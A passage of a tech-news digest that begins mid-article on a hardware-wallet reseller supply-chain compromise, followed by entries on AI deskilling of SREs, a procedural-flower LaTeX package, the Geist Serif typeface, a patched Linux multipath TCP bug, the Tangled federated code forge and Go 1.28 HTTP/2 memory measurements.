Ledger later confirmed the compromise and asked resellers and distributors in Southeast Asia and Hong Kong to halt all sales until the investigation confirms their safety.

In response to the Ledger incident, and before it had any indication it was impacted, Trezor immediately stopped device sales through CryptoBilis on October 9, 2026. The company later announced it would restructure and tighten its reseller network globally to maintain higher levels of security.

Trezor says it is unaware of any funds being stolen as a result of a supply-chain attack, and promised to provide updates once it receives the device, which is currently being shipped to it.

Meanwhile, multiple reports of losses by Ledger users have emerged since earlier this month, and a recent Singapore police announcement added another $3,500,000 to the tally.

Timeline
Source: Trezor

For now, Trezor recommends not setting up or using any device bought via CryptoBilis from March 2026 onward.

Users who have already done so are advised to move their funds to a newly created wallet with a new recovery phrase.

Buyers holding proof of purchase may contact Trezor for a replacement device or a voucher for a new device.

Trezor underlined that weighing devices is not a reliable way to determine if they have been tampered with.

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

AI Isn't Replacing SREs. It's Deskilling Them

Hacker News
newsletter.signoz.io
2026-10-30 11:52:18
Comments...
Original Article

💌 Hey there, it’s Elizabeth from SigNoz!

This newsletter is a n honest attempt to talk about all things - observability, OpenTelemetry, open-source and the engineering in between!
&
This piece took 6 days, 5 hours to be cooked, hope we served.
🌚

There are two popular prophecies floating around tech circles these days.

The first says SRE is the future of all software engineering , that as AI writes more and more code, the humans who remain will be the ones keeping systems alive. The second says AI will devour every tech job alive, SREs included. Neither is particularly useful if you’re an SRE trying to figure out what your Tuesday will look like in 2027.

Let’s ask a more grounded question by looking at what’s already happening: When AI handles 95% of your incident response, do you get worse at handling the 5% that actually matters?

Most of us already use AI for our daily work (our brains a little fried!), and so do SREs. Today’s discussion agenda is not whether AI replaces SREs, but whether AI is quietly making SREs less capable and whether anyone will notice anything before the next novel outage hits. The foundational framework for this entire debate comes from a 1983 research paper that’s eerily prescient.

Note from author: Below is a brief precursor to History of Automation, which you might enjoy if you are into History and Cultures (like me 😉).

In 1983, a cognitive psychologist named Lisanne Bainbridge published a paper called Ironies of Automation . It became one of the most cited papers in human factors research, and its core argument is almost uncomfortably relevant today.

Bainbridge studied what happened when factories and industrial systems automated the work of blue-collar operators. The findings were paradoxical and revealed that the more you automate a process, the more critical the human operator becomes during the rare moments automation fails and the less practice they get, and the worse they become at exactly those interventions. Automation, which was inherently designed to remove humans from the loop, left them with the worst possible job, i.e., long stretches of passive monitoring punctuated by rare, high-stakes crises they were increasingly unprepared for.

Ring any bells yet? 🙂

Basically, I’m drawing a parallel between the AI revolution and industrial automation. Industrial automation reshaped blue-collar work by taking over routine physical tasks, and the workers who remained had to handle exceptions they’d lost the muscle memory for. AI is doing the same thing to knowledge workers by taking over the routine cognitive tasks, the pattern matching, the triage, the known-issue resolution and leaving humans with the rare, complex, ambiguous problems.

The exact problems that require deep expertise , the exact expertise that atrophies when you stop practising.

Now we’re replaying this pattern with AI agents, and the stakes in software systems are only growing.

Let’s take stock of where things stand today in the world of site reliability engineering.

Alert noise reduction and intelligent grouping, runbook execution for known issues, log pattern detection and anomaly flagging, and basic root-cause suggestions from historical incident data, and auto-remediation for well-understood failure modes like restarting a crashed pod or scaling up a service that’s running hot, are all fairly automated today.

Some immediate targets include multi-signal correlation across metrics, logs, and traces, autonomous root-cause analysis for partially understood failures, predictive incident detection before users are affected, AI-driven change risk assessment and automated rollbacks.

PagerDuty frames this as a tiered model.

  • Tier 1 incidents: Known issues with known fixes get fully automated.

  • Tier 2 incidents: Partially understood problems receive AI recommendations with human validation.

  • Tier 3 incidents: Novel, complex, cascading failures stay human-led, with AI providing supporting context.

But here’s the catch.

If human SREs (okay, now we have to use adjectives like human 🥹) only engage with Tier 3 incidents, i.e. the novel, never-before-seen outages, where do they build the intuition to handle them? Intuition is usually developed from years of hands-on incident response, pattern recognition built through repetition, and the kind of gut-level understanding of a system that only develops from painfully waking up at the odd hour to solve the bug that brought the system down.

This is where the picture starts getting blurry. Let’s look at some emerging research on AI-induced deskilling across multiple fields, which paints a consistent and concerning picture.

In medicine, a recent study found that endoscopists who used AI assistance for polyp detection saw their unassisted detection rates drop from 28% to 22% after a period of AI use. They got worse at the thing they were supposed to be experts in, not because they forgot the theory, but because they stopped exercising the skill.

In aviation, research has shown that long-haul pilots who rely heavily on autopilot systems experience measurable degradation in situational awareness and manual flying ability. The problem got serious enough that the FAA now mandates more manual flying time to counteract the effect.

Somewhere over the past year, AI stopped being a tool I occasionally reached for and became the first thing I reach for, always . My instinct now is to offload as much as possible and apply my own thinking only where it’s absolutely unavoidable. The problem is that these moments are becoming the only exercises my brain gets, and I can feel the rust .

We can draw a pattern here. The more you let the system handle, the worse you get at handling things yourself and here’s the truly dangerous part, you don’t feel it happening . It gets masked as hyper-productivity. Cognitive research suggests that because AI tools make tasks feel easier and enhance visible performance, users are often unable to accurately judge the true status of their own skills. You feel competent, dashboards look green, and then on a Wednesday, a novel incident hits that doesn’t match any pattern the AI has seen, and you realise the muscle has atrophied.

For SREs, this manifests in specific ways, like we stop reading raw log streams because the AI summarises them, we stop forming hypotheses during incidents because the AI suggests root causes, we stop building mental models of system architecture because the AI maps dependencies for us, and each of these individually looks like a productivity win. Collectively, they hollow out the very expertise that makes an SRE effective when things go sideways in ways nobody anticipated.

But there’s something even more concerning than deskilling, and researchers have started calling it never-skilling . Deskilling means you once had a capability but have since lost it. Never-skilling means you never developed it in the first place. For junior SREs entering the field today in an environment where AI handles most of the incident response workflow, the opportunities to build foundational intuition and muscle through hands-on practice are vanishing.

The training pipeline itself is broken and not self-healing .

SREs realise their skills are degrading and lean more on AI to compensate, which further degrades their skills, creating a vicious cycle from which escape is difficult.

We are definitely not rejecting AI tooling; we are adopting it and integrating it stronger than ever before, because that’s the only way forward.

A few approaches worth considering:

Deliberate inefficiency. Just as the FAA mandates manual flying time even when the autopilot is perfectly capable, SRE teams can designate certain incidents, even the ones the AI could handle, as human-practice opportunities . This can be considered as a long-term investment to keep skills fresh, although it might come at the cost of a super-fast solution

Build for human-in-the-loop, not human-on-the-side. There’s a meaningful difference between a system where a human approves an AI’s recommendation and one where a human actively engages with the problem alongside AI. The former keeps humans in a supervisory role that Bainbridge (the lady who wrote that research paper about 40 years ago) showed leads to vigilance decay, and the latter keeps them cognitively engaged.

Let’s zoom out and take a look at the bigger picture.

Everything we’ve discussed here, the ironies of automation, the deskilling risk, the never-skilling problem, collectively applies well beyond SRE. Software engineering as a whole is navigating the same tension. As AI writes more code, reviews more PRs, and handles more debugging, the same questions apply.

We’re talking about SREs specifically because that’s the world we live in at SigNoz . We build an open-source observability platform, the kind of tool that gives SREs the metrics, traces, and logs they need to understand their systems deeply. For us, this deskilling question is not a rhetorical fad; it directly shapes how we’re building AI into our product.

Our approach is to start with an AI assistant that helps SREs leverage the power of LLMs while keeping humans firmly in control. Eventually, we’ll enable more autonomy but within clear guardrails, and only as trust is earned.

One advantage we have in this space is that, as an observability platform, we sit on the data itself, the metrics, traces, and logs that SREs rely on. Most AI SRE products today integrate with observability tools through APIs, which means they’re working with a limited, second-hand view of your systems. Because we own the data layer, we can build much deeper, more context-aware AI capabilities that understand your system the way an experienced SRE would.

And to answer the burning question in your head, our goal isn’t AI that replaces SREs. It’s AI that supercharges SREs. Unlike ongoing lore, we believe humans will remain essential for the decisions that matter most, especially those that impact production infrastructure.

The future of SRE is human with AI intentionally designed to keep humans sharp, engaged, and ready for the 5% that really counts.

Here’s the LinkedIn post our founder posted a few days ago, which inspired me to write this.

Discussion about this post

Ready for more?

Behind the Blog: Tech Support

403 Media
www.404media.co
2026-10-30 11:48:18
This week, we discuss customer service and Proton fallout....
Original Article

This is Behind the Blog, where we share our behind-the-scenes thoughts about how a few of our top stories of the week came together. This week, we discuss customer service and Proton fallout.

JASON: Since I wrote about ChatGPT turning me into tech support for people’s random problems, I have gotten many more AI-generated emails from people asking me to solve their tech support problems. So, mission accomplished I guess. I think and hope it was clear in the article, but I think this phenomenon is happening to a lot of journalists, not just us at 404 Media. A lot of the ChatGPT chats I saw told people to reach out to multiple journalists, and gave them contact info and instructions on how to do so. Some suggested that they reach out to lawyers or academic researchers as well, so I assume it’s all sorts of people who are getting this new type of spam.

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Florilegium: Procedural Flowers in LaTeX

Hacker News
github.com
2026-10-30 11:48:12
Comments...
Original Article

Origin

The Reddit post asked how to make flowers like these in LaTeX. I don't know how the original was made, and this project doesn't try to reproduce it. It is one possible way, and the way I did it: hand-authored primitives with randomized parameters, painted in Lua, placed by a procedural layout whose "fill the unused space" part borrows a 1998 idea from the ornament literature. It gets a similar look.

What it is

Procedurally generated Delft-blue floral page margins for LaTeX. No images, no imported paths, no external assets: every petal, leaf and stem is a parametric curve computed in Lua while the page is being written, painted like a watercolor, and written straight into the PDF. Every page gets its own garden.

six seeds

Six seeds of the grown composition. Same code, different seed — and the garden fills whatever space the text leaves free.

Two documents share one package, and a third shows what else it does:

florilegium.tex florilegium-grow.tex
composition authored : stems, leaves and flowers placed by hand, every parameter sampled grown : a plant grown to fit the page by a greedy space-filling loop
adapts to nothing (tuned for A4, 68 mm margin) the page layout, and the free space below the text on the last page
preview authored grown

Both PDFs are self-describing: the body text is the write-up of how the margin is drawn.

last page of the grown document

Last page of the grown document: the text ends early, so branches arch into the space below.

detail

300 dpi crop. Mottled washes with white streaks lifted out, lobed leaves with white veins, forget-me-not cymes, a pale ghost flower behind the stems.

Watch it grow

as it grows with the free space it fills
seed 6 growing seed 6 growing, with the free discs marked

Seed 6, from an empty margin to the finished page. The stems rise first, leaves open as the tips pass their nodes, and each stem ends in a flower. Then the greedy loop takes over: on the right, each dashed circle is the largest free disc it found, just before a branch grows to it. Big holes come first and slowly, small ones last and fast. The butterflies and bees fly in, the bird glides onto its twig, and the snail crawls up its stem until the last frame, which is exactly the page this seed always gives.

The growth is recorded once, while the page is laid out: each stem is also drawn as prefixes of increasing length and each motif at a few smaller scales, replaying the same random draws. A frame then writes the pieces whose time has come, in their original painting order. make grow-6 renders one seed this way ( build/grow-6.gif and .mp4 , about 45 seconds); add EXPLAIN=1 for the dashed circles.

The margin reads the text

the three pages of showcase.tex

showcase.tex , "A year in the margin": spring on the first page, summer, autumn on the last. Each section describes the feature it shows.

The grown margin can respond to the document around it:

  • Initials. \florilegiuminitial[5]{E} sets the first letter of a paragraph in a tile five lines tall. The outline of the letter is read from an OpenType font (Latin Modern Bold by default) and painted like a petal; a vine passes over and under its strokes in turn, with leaves where they fit and flowers in the gaps, often in the letter's counters. The letter is also typeset invisibly, so the paragraph still copies as "Every".
  • Flowers at the headings. With the option sections , every numbered section and subsection gets a flower in the margin beside its heading, painted in the copper of the accents, the way headings were once picked out in red.
  • A flower where the text asks. \florilegiumbloom puts a flower beside the line it stands in; \florilegiumbloom[lily] asks for any motif of the garden. The marks are found in the page box when the page is shipped out, so this works in one run.
  • Seasons. With the option aging , the garden ages from spring on the first page (mostly in bud, small pale leaves) to autumn on the last (seed heads, falling petals, a few copper leaves). It needs two runs, for the page count; \florilegiumage{0.8} sets an age by hand instead.

four initials

one seed through the seasons

One seed in spring, early summer, late summer and autumn. The seasons change what grows, not where.

Visitors

detail with a bird and a snail

Most pages have visitors: a butterfly or two and bees in the open spaces, a snail crawling up one of the main stems, and on about one page in five a bird perched on a twig of its own. They come from a random stream of their own, so a page without them is exactly the page it would have been; the option novisitors leaves them out.

Any ink

one seed in six inks

The whole palette comes from one color, ink : Delft blue, sepia, green, crimson, violet, teal. The ramp from the darkest stroke to the palest wash is computed from that hue in OKLCH, so the light end never turns gray.

In PostScript

the two pages of postscript/florilegium.ps, seed 7

postscript/florilegium.ps : the grown margin in pure PostScript, one self-contained file. Ghostscript, or a printer, computes every petal while it interprets the page, and the two pages of text explain how.

The drawing core, every primitive and the growth loop are ported from ink.lua , flora.lua and grow.lua , procedure for procedure. It needs no TeX and no other file:

gs -dALLOWPSTRANSPARENCY -sDEVICE=pdfwrite -dSeed=7 -o garden.pdf postscript/florilegium.ps
make postscript             # the same -> build/postscript-7.pdf; SEED=12 for another garden

-dSeed=N picks the garden; without it the clock picks one, so every print is new. -dAge=0 to 1 sets the season, and -dNoVisitors leaves out the butterflies, bees, snail and bird. Two pages take about 2.5 seconds. Much of the Lua maps directly: PostScript's own transformation matrix places each primitive (translate, rotate, scale), paths and Bézier curves are native, and procedures built at run time stand in for Lua's closures (a petal's half-width is a procedure handed to the outline builder). Four things don't map:

  • Layers. The garden grows in one order but is painted back to front, so every fill and stroke is captured with pathforall into a list per layer, and the lists are played back at the end.
  • Transparency. PostScript has none. Ghostscript provides it with -dALLOWPSTRANSPARENCY . Without that flag, or on a printer, each translucent fill is mixed with the color it is likely to land on and painted opaque. The result is flatter, but it's the same garden.
  • Randomness. The generator is Park-Miller in 32-bit integer arithmetic, and PostScript reals are single precision, so seed 7 here is a different garden from seed 7 in LaTeX.
  • Text. The file typesets its own two pages in Times. It knows where its headings are and where its text ends, so the copper flowers at the headings and the garden under the last line work as they do in LaTeX. It has no initials, animation or authored composition.

two prints of florilegium.ps, two different gardens

The file sent twice to an Epson inkjet with lp postscript/florilegium.ps , with no seed given. The computer's print system runs the program again for each job, so each print takes its seed from the clock and grows a different garden. A printer gets the opaque version, as it has no transparency.

Build

LuaLaTeX, one pass, about a second a page (two passes for showcase.tex , whose seasons need the page count).

make                        # the three PDFs
make seed-7                 # one page from seed 7 -> build/seed-7.pdf
make gallery                # gallery/seeds.png + seeds.gif, inks.png, seasons.png (python3, Pillow, pdftoppm)
make grow-6                 # growth animation of seed 6 -> build/grow-6.gif + .mp4 (ffmpeg)
make grow-6 EXPLAIN=1       # the same with the free discs marked -> build/grow-6-explain.*

No TeX installed? Build the image once and run everything in it:

docker build -t florilegium-tex tools
make RUN=tools/in-docker

Or paste florilegium.sty , the six .lua files and one of the .tex files into an Overleaf project and set the compiler to LuaLaTeX.

Use it in your own document:

\usepackage[grown]{florilegium}      % or plain \usepackage{florilegium} for the authored one
% options for the grown one: sections (flowers at the headings), aging (two runs),
% novisitors (no butterflies, bees, snails or birds)
\definecolor{ink}{HTML}{5B2A1F}      % optional: the hue of the whole palette (this is sepia)
\definecolor{accent}{HTML}{B4662F}   % optional: the copper of the hairlines
...
\florilegiuminitial[4]{T}his paragraph starts with a decorated T.
... a flower in the margin beside this line\florilegiumbloom ...
\florilegiumage{0.8}                 % grown only: autumn from here on
\florilegiumtextend                  % grown only: at the very end of the text

A fixed seed instead of the page number: lualatex "\def\florilegiumseed{7}\input{florilegium-grow.tex}" .

Any primitive can be drawn on its own inside a TikZ picture, under the current scope's shift, rotation and scale:

\begin{tikzpicture}
  \begin{scope}[shift={(2,2)},rotate=20]\florilegiumdraw{flower}{1.3}\end{scope}
  \begin{scope}[shift={(5,0)}]\florilegiumdraw{leaf}{3.0, {depth=0.6}}\end{scope}
  \begin{scope}[shift={(8,1)}]\florilegiumdraw{ghost}{"lily", {s=1.4}}\end{scope}
  \begin{scope}[shift={(11,1)}]\florilegiumdraw{butterfly}{1.5}\end{scope}
\end{tikzpicture}

How it works

Drawing ( ink.lua ). All geometry is computed in Lua and written as PDF path operators into one literal node per page; TeX does no arithmetic. Primitives are drawn in a local frame under an affine transform, which is read from TikZ when a primitive is called inside a scope. Colors come from a tone ramp derived from the one document color ink : navy to mist at the hue of ink , interpolated in OKLCH so the light end stays blue instead of turning gray. Tapered strokes are two offset Béziers, not sampled ribbons.

Primitives ( flora.lua ). Painted in the order a watercolorist would: a flat wash, darker blotches multiplied over it, pigment pooling at the edges, streaks lifted out in white, a few fine veins, and almost no outlines. Broad petals and flowers, star lilies seen at a tilt, blossoms and florets, buds and bellflowers; lobed and entire leaves; forget-me-not cymes that curl like a scorpion's tail, branching sprigs, umbels, tendrils, seed heads; butterflies, bees, snails and a bird; copper sparkles, rosettes and the ivy-leaf fleuron whose stem becomes the head rule. Any of them can be painted as a pale ghost.

Authored composition ( authored.lua ). A plant grows from a root in the bottom-left corner: three stems through hand-picked control points, a fourth along the bottom of the page as the footer, leaves at chosen fractions of the stems, and every other motif on a branch that leaves its stem tangentially and arrives along the motif's axis — so every flower can be traced back to the root.

Grown composition ( grow.lua ), in the spirit of Wong, Zongker & Salesin, Computer-Generated Floral Ornament (SIGGRAPH 1998). The stems sway up the column as smooth noise of their height; leaves are hung at their nodes where there is room. Then, repeatedly: take the largest free disc within reach of a stem, choose a motif that fits it, and grow a branch to it from the nearest stem point; the branch becomes a stem in turn. Big holes are taken first, so flowers and lilies land early, sprays and leaves fill the middle, and the loop ends by tucking leaflets, buds and florets onto the stems. The end of the text is measured with \pagetotal in the same pass, so a short last page grows branches into the space below it with one compilation.

Reading the page ( florilegium.lua ). A heading or \florilegiumbloom leaves an invisible marker node in the text. When the page is shipped out, its box is walked node by node, adding up heights, depths and the glue as it was set, to find each marker's height on the page; the garden then gives those lines their flowers before any leaf is hung. An age reweights the motifs: buds and sprays of buds in spring, seed heads in autumn, when some leaves are painted with a ramp built from the accent instead of the ink.

Initials ( initial.lua ). The letter's outline comes from luaotfload's OpenType reader as Bézier segments. Flattened into polygons, it gives an even-odd inside test, and a grid of distances to the letter and the frame finds the largest gaps for the flowers. The vine is a Catmull-Rom curve across the tile; where it crosses the letter it goes over and under in turn, and the strands that go over are drawn again, clipped to the letter, with a thin halo of paper.

Procedural ≠ random. The seed is derived from the page number, so page n always gets garden n . Reproducibility is what makes the document stable enough to typeset.

See CLAUDE.md for a handoff-style map of the code, the tunables, and ideas not yet done.

License

MIT.

Geist Serif

Hacker News
vercel.com
2026-10-30 11:46:42
Comments...
Original Article

Geist started as a monospace typeface for developers, built for the editors and terminals where they spend their day doing their work. From there it grew into Geist Sans for product interfaces, and then into Geist Pixel, which was inspired by the grids of early computer screens.

Today, we're adding a new member to the family: Geist Serif .

Geist Serif posters Geist Serif posters

Geist Serif posters

Geist Serif is a high-contrast display serif built on the same foundations as Geist Sans, Geist Mono, and Geist Pixel. It has fine, saw-toothed serifs and sharp hairlines, and it was drawn to communicate messages powerfully both in the physical world and on the high-density screens on modern devices.

Copy link to heading Same system, new voice

At Vercel, Geist Sans runs the product. For headlines, though, we wanted a second voice, one that belongs to the same system, instead of a stranger picked from a drop-down menu.

A lot of tech brands have moved away from clean sans-serifs to get some personality back, and many of them borrow from vintage computer ads. Geist Serif takes a different path: toward fashion, editorial design, and magazine headlines. It's our homage to the artists behind Rolling Stone and Harper's Bazaar .

From the beginning, each Geist family has read from a chapter of type history: the Swiss design movement, early terminal and DOS computing, and now editorial print.

Copy link to heading Display first

Geist Serif began as a set of sketches by Evil Rabbit , which Andrés Briganti then expanded. The first letters already showed an expressive serif, in the spirit of typefaces like Victor Serif and Stanley.

Original Geist Serif drawings Original Geist Serif drawings

Original Geist Serif drawings

When Mark Davis took over the drawings, we made the first release a display face for headlines, posters, and other large sizes, while work on the full family continued. Print has always struggled to hold fine hairlines and sharp serifs, but today's displays can handle a high level of detail. We wanted the new face to take full advantage of modern screens, so we thinned every downstroke by 50% and tightened the sidebearings to push the contrast as far as it would go.

Each serif has a wedge on one side and a curve on the other, so the proportions are classical and look beautiful in print, but the construction is new and optimized for digital devices.

We created something that could only be made for today. Not overly blocky for screens from a decade ago, not filled with mechanical compromises for physical ink. Just serifs at perfect points.

Mark Davis founder & font designer at WORDMARK

Copy link to heading From the first prototype to today

The first prototype of Geist Serif was shared on April 1, 2026. Here's the same word, Geist, in that prototype, compared with the display drawing shipping today.

Original prototype shown as dotted lines Original prototype shown as dotted lines

Original prototype shown as dotted lines

Copy link to heading Geist grew teeth

The goal was to honor our original intent and keep the serif closely tied to the sans, even when the letters sit on top of each other. Geist Serif’s stems match Geist Sans, and the two share widths and postures.

The saw-toothed serifs and high contrast give Geist an editorial voice. One phrase kept coming up as each character was drawn: “Geist grew teeth.”

Copy link to heading Four families, one x-height

Geist Serif uses the same cap height and x-height as Geist Sans, so you can drop it into any Geist layout without moving a line. Mix Sans, Mono, Pixel, and Serif in the same sentence and every word looks the same size.

Copy link to heading Four variants, one axis

Like Geist Pixel, Geist Serif has a variable axis that swaps the shape of every dot in the font, including those on i and j and in punctuation. The axis is called Element Shape ( ELSH ), and it gives you four variants: Regular with round dots (the default), Square, Triangle (a nod to the Vercel logo), and Heart.

Each variant also ships as its own static file. If you use the variable font, pick a variant with font-variation-settings :

Copy link to heading Crafted by hand

In July the font had 227 glyphs . It now has 894 and covers 352 Latin-script languages, and we worked through more than 52,000 kerning pairs to get the spacing right. Some of the details are tiny. The eye of the g , for example, is tilted exactly 7°.

Copy link to heading Specs at a glance

Geist Serif ships with:

  • 1 weight (Regular)

  • 4 variants (Regular, Square, Triangle, Heart)

  • 894 glyphs

  • 5 stylistic sets ( ss01 to ss05 )

  • 352 supported languages

Copy link to heading Getting started

Geist Serif ships in the same package as the rest of the family:

Exports and CSS variables:

  • GeistSerif (variable, all shapes): --font-geist-serif

  • GeistSerifRegular : --font-geist-serif-regular

  • GeistSerifSquare : --font-geist-serif-square

  • GeistSerifTriangle : --font-geist-serif-triangle

  • GeistSerifHeart : --font-geist-serif-heart

Each one has its own entry point, so you only ship the font file you use. For example, in layout.tsx with GeistSerifRegular :

import { GeistSerifRegular } from 'geist/font/serif/regular';

export default function RootLayout({ children }) {

return (

<html lang="en" className={GeistSerifRegular.variable}>

<body>{children}</body>

</html>

);

}

You can also download the font files, test every stylistic set, and inspect each glyph at vercel.com/font .

Copy link to heading What’s next

Regular is the first style we’re releasing, and the rest of the family is already in progress. We’re testing future versions while building this one, so this release is just the start.

Copy link to heading Weights from Thin to Black

The variable font will range from Thin (100) to Black (900). In this week’s proofs, the g in Black is the letter we can’t stop looking at.

Copy link to heading Toward a text face

To explore a text version, we built a foundry tool that measures strokes, including where they meet, and thickens the display outlines. It edits the outlines directly, so we can set real words and see which strokes need more weight.

Copy link to heading Italics, built rule by rule

We’re also developing an italic generated entirely in Python. We slanted existing italics back upright and compared them with their romans. With the angle removed, the remaining differences show up clearly, and we turned them into rules we can test and revise. This italic won’t be the final version, but breaking glyphs in code helps us find the limits faster.

Copy link to heading More scripts and Google Fonts

Cyrillic support is planned to match Geist Sans and Geist Mono, and Geist Serif will come to Google Fonts after launch.

Copy link to heading One family

With Geist Sans, Geist Mono, Geist Pixel, and now Geist Serif, the family runs from UI text and code to expressive display type, and all four feel at home together.

Download Geist Serif and start building.

Thank you to everyone who made Geist Serif possible.

None of this would have been possible without an incredible group of people behind the scenes.

Huge thanks to Andrés Briganti for starting this journey with me and drawing the first version that everything else grew from, and to Mark Davis for carrying it across the finish line with obsessive craft, from the expanded glyph set and variable axis to every last kerning pair. Thanks also to Patrick McDonald and Marijana Pavlinić for the poster designs, to Luis Gutierrez Rico for the motion and incredible magic, to Christopher Kindl for shipping the package and rebuilding the landing page down to the smallest details, and to Zahra Jabini for the coordination and technical support that brought it all together. This was a true team effort, and I’m grateful to have built it with all of you.

Remote code execution on Linux systems with multipath TCP

Linux Weekly News
lwn.net
2026-10-30 11:45:27
On October 27, LLM provider Anthropic reported on a remotely exploitable use-after-free bug affecting systems with multipath TCP listeners open. The bug works by triggering a response to a retransmitted SYN packet at the same moment that the TCP connection is established in another thread, causing...
Original Article

On October 27, LLM provider Anthropic reported on a remotely exploitable use-after-free bug affecting systems with multipath TCP listeners open. The bug works by triggering a response to a retransmitted SYN packet at the same moment that the TCP connection is established in another thread, causing the first thread to access the connection's options structure after the second thread has freed it. The first thread can then disclose kernel memory or cause a buffer overflow, writing an attacker-controlled payload. The fix was to only free the structure after an RCU grace period . On October 29, the Go security team advised that all programs written in Go use multipath TCP by default , so many systems may be unknowingly vulnerable. And, of course, there is always the possibility of related bugs in other sections of the TCP stack. Users may be wise to update to a patched kernel as soon as one becomes available for their distribution.



The Federated Code Forge

Hacker News
tangled.org
2026-10-30 11:44:29
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Original Article

For most of the past two decades, the code forge has been where projects live: where code is hosted, where changes are reviewed, and where contributors find each other. Forges offered convenience in exchange for centralisation.

But the centralised forge is crumbling. Relying on someone else for uptime, for features, and to be a good steward of your code hasn’t played out well. What has stood the test of time is email: Git to move the code, and email — an open protocol — to talk about it. At the cost of user experience, however.

Tangled aims to give you the best of both: the longevity of an open protocol, with the convenience and polish of a proper forge.

It’s the first truly federated code forge — you can host code on your own servers and still collaborate seamlessly with others. Our approach is pragmatic: self-host just the parts you want, like Git hosting or CI runners, or all of it, including the API server and UI. Whatever you choose , you can still talk to everyone else.

Owning your infrastructure also means you can hack on, extend and customise your forge as you see fit. Because Tangled is built on the AT Protocol, you can build your own extensions, subscribe to the firehose, or even write entirely custom knots, like this one that runs on Cloudflare Workers and uses their Artifacts product for git storage. Or an entirely custom spindle such as mitchellh.com/tack . Go even further and host our ultralight API server and build your own custom forge.

Agents have made building such hyper-personalized software trivial, and especially so when software is designed with hackability in mind from the get-go. Tangled is incredibly agent friendly .

The future of software engineering may be a moving target, but our bets on open protocols and developer agency give us the agility to move with it, and to become .

Product updates

A fresh look!

The obvious big one: with this release, Tangled has a whole new look. We’ve redone the UI on top of our new architecture (described further below), in Svelte. Things should now be quicker, visually consistent and prettier! The keen eyed of you might’ve also spotted that we’ve swapped out Inter for Timeless Sans .

A bobbin near you

Until now, Tangled’s web UI and backend were a single Go monolith called the appview . The appview service handled AT Protocol indexing, caching, off-protocol data and UI rendering using html/template + htmx. It ran on a single SQLite database on one medium-sized server in Sweden.

This was great as long as you were ~50–100 ms away from Sweden, but most of our users aren’t! We rearchitected: we built a new standalone frontend app in Svelte, deployed at the edge. It is populated by our new diskless, entirely in-memory indexer service written in Rust: bobbin . Bobbins are deployed globally in over 11+ regions, ensuring users around the world get the best API and UI performance.

The astute reader might’ve noticed: bobbin is purely read-only and only deals with AT Protocol data. What of the rest? That functionality (and more) has been delegated to a new set of supporting services.

The new data model and repo-owned data

First, the data model itself: we have a new set of lexicons, and everything now lives under org.tangled.* , replacing the old sh.tangled.* records.

Knot2 is our aptly named, second implementation of the knot server, this time rewritten in Rust. Knot2 bakes a fully custom Git server, and also bundles in an SSH server in the same binary.

With knot2, we’ve also changed where some of that data lives. Issues, pull requests, comments, reactions and labels are now stored on the knot, right next to the code, as collaborative objects (COBs). A COB is just a chain of Git objects in the repo itself. Collaborators, knot members and the blocklist are also stored the same way.

In that sense, knots now behave a lot like a PDS: they hold signed records, full history included, for everything that belongs to a repo and much like a PDS, these records are synced via the standard AT Protocol firehose.

But why? A project’s issues and pull requests are as much a part of it as its code, so they should live with it, wherever you choose to host it. This gives your project maximum portability.

If the knot writes your issues and comments, what stops it from putting words in your mouth? Attestations. Every time you create or edit a record on a knot, the web app also writes an org.tangled.graph.attestation record to your own PDS, pointing at that exact version of the record and the COB change behind it. Two-way verification!

Self-hosters will have to upgrade their knots to the v1.20.0 by following the upgrade guide .

Organizations

Organization accounts are here! An Organization on Tangled is a real AT Protocol account, with its own DID and handle, hosted on a Tranquil PDS instance. They’re passwordless, delegated accounts: you create one from the New Organization page, and you get <name>.tngl.sh with yourself as its owner. Owners can invite members, and anyone in the Organization can act as it when creating or forking repositories. Like any other account, you can swap the handle out for a domain you own. If you’ve been running a regular account as a stand-in “org”, hang tight — we’re working on a way to move those over. Read more in the docs .

Stacked PRs for everyone

Our PR flow has been overhauled. The new flow gives everyone, regardless of whether you use Jujutsu or just vanilla Git, the ability to submit and review stacked PRs. If you’re using Git, you now get the ability to interdiff between versions (previously called rounds). JJ users get to interdiff between individual changes as well.

Launch weeks ahead

This isn’t all. We’re staggering this launch across the next few weeks. Up next are private repos, a CLI, SDKs for different languages and skills for your agent.

Until then, enjoy every part of this launch equally.

Go 1.28's HTTP/2 Parking: Measuring Memory Savings

Lobsters
abdolirad.me
2026-10-30 11:39:37
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Original Article

While reading the draft Go 1.28 release notes, I noticed a change in the HTTP/2 server. With this change, the goroutine responsible for serving a connection can exit when there is no work to do, instead of waiting. A new goroutine takes over when needed. At first, it seemed like a small change, but I wondered how much memory it could save on a server with thousands of open connections.

I decided to measure it rather than guess. I wanted to see how it affected process memory usage, goroutine counts, and Go runtime memory metrics.

What is HTTP/2 parking?

An HTTP/2 connection can stay open even when it has no active streams. In the older server behavior, a goroutine runs the connection’s serveLoop and waits there when nothing new is ready. The Go 1.28 development code adds an internal mechanism called parking . When serveLoop has no work ready to process, and the implementation’s safety conditions are met, that goroutine can exit. When new work arrives, a new goroutine runs serveLoop again.

Parking is not limited to connections with no active streams. A handler can still be running while serveLoop has nothing immediate to process. If those safety conditions are met, the serving goroutine can be parked. That does not mean every active connection, or every running handler, can be parked.

The word parking comes from the Go implementation, including names such as tryPark and the temporary GODEBUG setting http2serveparking . It is not a public API, and the draft release notes do not use this name for the change. The change is how the server manages the goroutine for a connection, not how application code handles requests.

This also gave me a useful way to test the change. I could run the same Go 1.28 server binary with parking enabled and disabled, instead of relying only on a Go 1.27 versus Go 1.28 comparison.

How I tested it

I used the same benchmark code and machine for three configurations:

  1. Go 1.27.2 , as an older-version reference.
  2. Go 1.28 development build, parking enabled , as the default behavior of the tested revision.
  3. The same Go 1.28 binary, parking disabled , using GODEBUG=http2serveparking=0 .

The tested Go 1.28 revision was 5c51011e82ed754af072baaf4338ff35e76fe705 . The benchmark source was pinned to commit 86753bd4d1f79621a4f3c6927c8239419e54bde2 .

For each configuration, I measured the server with 0, 1,000, and 5,000 idle HTTP/2 connections . Each complete run used ten rounds for every case and connection count. I repeated the full experiment three times on the same Linux machine. The benchmark collected short sample windows after the connections had settled, and the published results use medians rather than a single sample.

The test machine used an Intel Core i7-1265U, Linux 6.18.56, and about 32 GiB of RAM. The benchmark configuration set GOMAXPROCS=12 and GOGC=100 . I kept the natural garbage collection behavior rather than forcing a collection before each measurement.

